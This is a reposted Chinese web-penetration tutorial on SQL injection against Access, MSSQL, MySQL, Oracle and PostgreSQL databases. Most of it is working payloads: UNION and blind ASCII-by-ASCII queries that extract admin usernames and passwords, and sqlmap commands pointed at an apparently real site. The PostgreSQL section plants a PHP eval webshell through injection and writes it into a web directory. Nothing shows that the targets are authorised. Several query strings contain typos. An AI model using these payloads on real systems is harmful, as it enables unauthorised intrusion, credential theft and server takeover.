Web渗透测试(sql注入 access,mssql,mysql,oracle,)
Access數(shù)據(jù)庫注入:
?access數(shù)據(jù)庫由微軟發(fā)布的關(guān)系型數(shù)據(jù)庫(小型的),安全性差。
?access數(shù)據(jù)庫后綴名位*.mdb,
?asp中連接字符串應(yīng)用——
?“Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”
??Dim conn
??Set conn = server.createobject(“adodb.connection”)
??conn.open “provider=Microsoft.ACE.OLEDB.12.0;”?& “data source = ”?& server.mappath(“bbs.mdb”)
?
打開此數(shù)據(jù)庫的工具——
?破障瀏覽器,輔臣瀏覽器
?
注入分析——
判斷注入點(diǎn)(判斷有沒有帶入查詢)
,
and 1=1
and 1=2
or 1=1
or 1=2
and 1=23
?
查看是否帶入查詢,如果帶入查詢了,說明有注入漏洞
?
存在注入--判斷數(shù)據(jù)庫類型——
and exsits (select * from msysobjects) >0(判斷access)
and exsits (select * from sysobjects) >0(判斷SQL server)
?
?
判斷數(shù)據(jù)庫表
?and exists (select * from admin)(如果不存在admin表,可以試試user或者useradmin)
?
?
帶入查詢不報(bào)錯(cuò)說明有admin表
?
?
and exists (select admin from admin)查詢是否有admin字段
?
and exists (select password from admin)查詢是否有password字段
?
?
判斷字段長度 order by 22
?
?
報(bào)錯(cuò) ?and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出admin和password的字段長度)
?
?
and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(這樣就把用戶名密碼猜解出來了,再去md5解密即可)
?
?
?
示例:sqlmap注入access數(shù)據(jù)庫
?鏈接http://www.jnqtly.cn/cp11.asp?id=1129
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129
?
?
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129?--tables(爆表)
?
?
?
對file表進(jìn)行猜解
sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file
?
?
對字段進(jìn)行猜解
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"
?
然后去解密即可
?
?
———————————————————————————————————————
?
Mssql(SQL server)數(shù)據(jù)庫注入:(中小型企業(yè))
SQL server由微軟公司推出的關(guān)系型數(shù)據(jù)庫,支持對稱多處理器的結(jié)構(gòu) 存儲過程,具有自主的sql語言,支持圖形化管理工具。
SQL server數(shù)據(jù)庫文件后綴位xxx.mdf,日志文件后綴為xxx_log.ldf
基礎(chǔ)語句select * from 表名(查詢)
???????sreate database 庫名(創(chuàng)建)
?????????drop database 庫明(刪除庫)
權(quán)限——
??sa權(quán)限:數(shù)據(jù)庫操作,文件管理,命令執(zhí)行,注冊表讀取等system
??db權(quán)限:文件管理,數(shù)據(jù)庫操作等 users-adminstrators
??public權(quán)限:數(shù)據(jù)庫操作 guest-users
?
調(diào)用分析——
??<% set conn =server.crateobiect(“adodb.connection”)
conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”
%>
?
注入語句:
?判斷是否有注入——
and (select Count(*) from [表名])>0(猜解表名)
??and (select Count(字段名) from 表名)>0(猜測字段)
??and (select top 1 len(字段名) from 表名)>0(猜測字段長度)
?
初步判斷是否是mssql(SQL server)——
and user > 0
?
判斷數(shù)據(jù)庫系統(tǒng)——
and (select count(*) from sysobiects)> 0 mssql
and (select count(*) from msysobiects)> 0 access
?
?
實(shí)例:(其實(shí)建議手工測試,雖然工具跑得快,但是還是手工可以)
?用穿山甲測試
?
?
可直接寫入一句話木馬
?
?
Sa權(quán)限可直接提權(quán)
?
?
如果命令不生效可先恢復(fù)一下spoa換一下類型
?
—————————————————————————————————————————
?
Mysql數(shù)據(jù)庫注入:(中小型企業(yè))
??瑞典推出的關(guān)系型數(shù)據(jù)庫,現(xiàn)在已經(jīng)被甲骨文公司收購,搭配php+apache+mysql
?
Mysql函數(shù)——
?systm_user() 系統(tǒng)用戶名
?user() 用戶名
?current_use() 連接數(shù)據(jù)庫的用戶名
?database() 數(shù)據(jù)庫名
?version() MySQL數(shù)據(jù)庫版本
?load_file() 轉(zhuǎn)成16進(jìn)制或者是10進(jìn)制mysql讀取本地文件的函數(shù)
?@@datadir 讀取數(shù)據(jù)庫路徑
?@@basedir 讀取MySQL安裝路徑
?@@version_comoile_os 判斷操作系統(tǒng)
?
PHP+MySQL鏈接——
?<?php
$host=’localhost’; 數(shù)據(jù)庫地址
$database=’sui’; 數(shù)據(jù)庫名稱
$user=’root’; 數(shù)據(jù)庫賬戶
$pass=’’; 數(shù)據(jù)庫密碼
$webml=’/0/’; 安裝文件夾
?>
?
?判斷字段長度——
??order by xx
??order by 21 正常,order by 22不正常,說明長度為21
??union secect 1-18 from information_schema.tables(報(bào)出錯(cuò)誤)
?
示例:(MySQL5.0以上的版本)
先判斷是否存在注入,and不行試試其他or之類的,然后判斷字段長度
?
?
爆出錯(cuò)誤2和3
?
在報(bào)錯(cuò)位置查詢想要的信息
猜解用戶名
http://xxxx.xx.com/xxxxx/php?id=-5union secect ?1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables
?
?
?
猜解數(shù)據(jù)庫名
http://xxxx.xx.com/xxxxx/php?id=-5?union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables
?
?
猜解表名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables ?where_schema=0x6469616E(把庫名轉(zhuǎn)換成16進(jìn)制)
?
?
爆出表名,爆出來后可以一個(gè)一個(gè)去嘗試
?
?
?
猜解列名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名轉(zhuǎn)換成16進(jìn)制)
?
?
猜解字段
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一個(gè)\的16進(jìn)制)
?
?
爆出管理員賬號密碼
?
?
?
—————————————————————————————————————————
?
?
Oracle數(shù)據(jù)庫注入:(大型企業(yè),政府,金融,證券)
?Oracle數(shù)據(jù)庫由美國甲骨文公司推出的,以分布式數(shù)據(jù)庫為核心,是目前世界上使用最廣范的數(shù)據(jù)庫管理系統(tǒng),支持多用戶,事物的處理,移植性強(qiáng)。
?
Oracle數(shù)據(jù)庫代碼分析——
????id = request.getParameter(“id”);
String strSQL = “select title,content from news where id=”?+ id;
ResultSet rs = strt.executeQuery(strSQL);
while(rs.next())
{
String title = rs.getString(“time”);
String content = rs.getString(“conntent”);
Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>”?+ content + “</td></tr>”);
}
?
?
?
示例:
猜解表名,存在則不報(bào)錯(cuò)and (select count(*) from admin)<>0
?
?
猜解user列名,存在則不報(bào)錯(cuò)and (select count(user) from admin)<>0
?
?
猜解pwd列名,存在則不報(bào)錯(cuò)and (select count(pwd) from admin)<>0
?
?
判斷長度and (select count(*) from admin where length(name)>=5)=1(length()函數(shù)用于字符串長度,此處猜測用戶名長度和5比較,意思就是猜測是否由5個(gè)字符組成)
?
?
猜解第一個(gè)位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1(substr()函數(shù)用于截取字符串,ascii()函數(shù)用于獲取字符的ascii碼,此處的意思是截取name字段的第一個(gè)字符,獲取它的ascii碼值,查詢ascii碼表可知97為字符a)
?
猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重復(fù)以上操作,去配對ascii碼表,可以判斷賬號為admin)
?
?
相同方式猜解密碼;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密碼長度為8
?
?
?
?猜解第一位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符為a)
?
?
?猜解第一位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符為a)(重復(fù)以上操作,去配對ascii碼表,可以判斷賬號為admin888)
?
?
?
?ascii表
?
?
測試登陸
?
———————————————————————————————————————
?
Postgresql注入:(國內(nèi)用的比較少)
?
?
示例:
http://www.xxx.jp/xxx/xx/php?id=307?and 1=cast(version() as int)(獲取數(shù)據(jù)庫版本信息,系統(tǒng)信息)
?
?
http://www.xxx.jp/xxx/xx/php?id=307?and 1=cast(user||123 as int)(獲取當(dāng)前用戶名稱,Postgres用戶相當(dāng)于root用戶權(quán)限)
?
?
?http://www.xxx.jp/xxx/xx/php?id=307?;create table xxx(w text not null);(創(chuàng)建表x)
?
?
插馬——
??http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句話木馬)
?
?
寫文件——
??http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(將一句話木馬保存為xxx.php文件,執(zhí)行后用菜刀鏈接,然后上傳webshll)
?
?——————————————————————————————————————————————————
?
提交方式注入:
?Get——
??get注入比較常見,如www.xxx.com/xx.asp?id=1
?
?Post——
??post提交方式主要適用于表單的提交,用于登錄框的注入,如www.xxx.com/admin.php
?
?判斷方式——
??在登陸框鍵入 ‘or’=1 ?
示例:(穿山甲跑)
加載表單
?
?
把后臺地粘貼上,開始跑
?
?
加載表單
?
?
它會默認(rèn)把表單提交到根路勁,需要把它改成登陸路勁
?
?
?
Sqlmap跑——
示例:
加上根目錄路徑,然后在往下操作
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--dbs
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--tables -D “列名”
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--columns -T “表名”?-D “列名”
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--dump ?-C “user,pass”?-T “表名”?-D “列名”
?
Cookie——
cookie提交用于賬號密碼的cookie緩存,還可以通過cookie注入來突破簡單的防注入系統(tǒng)
?示例:
?
?
?
———————————————————————————————————————
?
搜索框注入:
?使用的工具——burpsuite,sqlmap
?思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap跑
?
?示例:sqlmap -r xx.txt --tables(猜表名)
???????sqlmap -r xx.txt --columns -T “admin”(猜列名)
???????sqlmap -r xx.txt --C “admin,password”?-T “manager”?--dump -v 2(列內(nèi)容)
?
找到搜索框
?
?抓包
?
再跑sqlmap
?
————————————————————————————————————————————————
?
偽靜態(tài)注入:
??網(wǎng)站管理員耍小聰明,看著是靜態(tài)頁面,其實(shí)是動(dòng)態(tài)頁面
??如http://www.xxx.com/xxxx/xxx/xxx.html
?
判斷——
?http://www.xxx.com/index.php?返回正常說明是php寫的 ?(index.asp,index.jsp)
?
示例——
http://www.xxxx.cn/xxx_99,html(把偽靜態(tài)鏈接構(gòu)造成動(dòng)態(tài)腳本語言)
http://www.xxxx.cn/xx.php?id=99?(asp?id= ??jsp?id= ?aspx?id= ?不報(bào)錯(cuò)說明就是此語言)
?
轉(zhuǎn)載于:https://www.cnblogs.com/Hydraxx/p/8516689.html
總結(jié)
以上是生活随笔為你收集整理的Web渗透测试(sql注入 access,mssql,mysql,oracle,)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 开螺蛳粉店需要准备什么 进来看一看有
- 下一篇: (四)创建ROS程序包(就是软件包)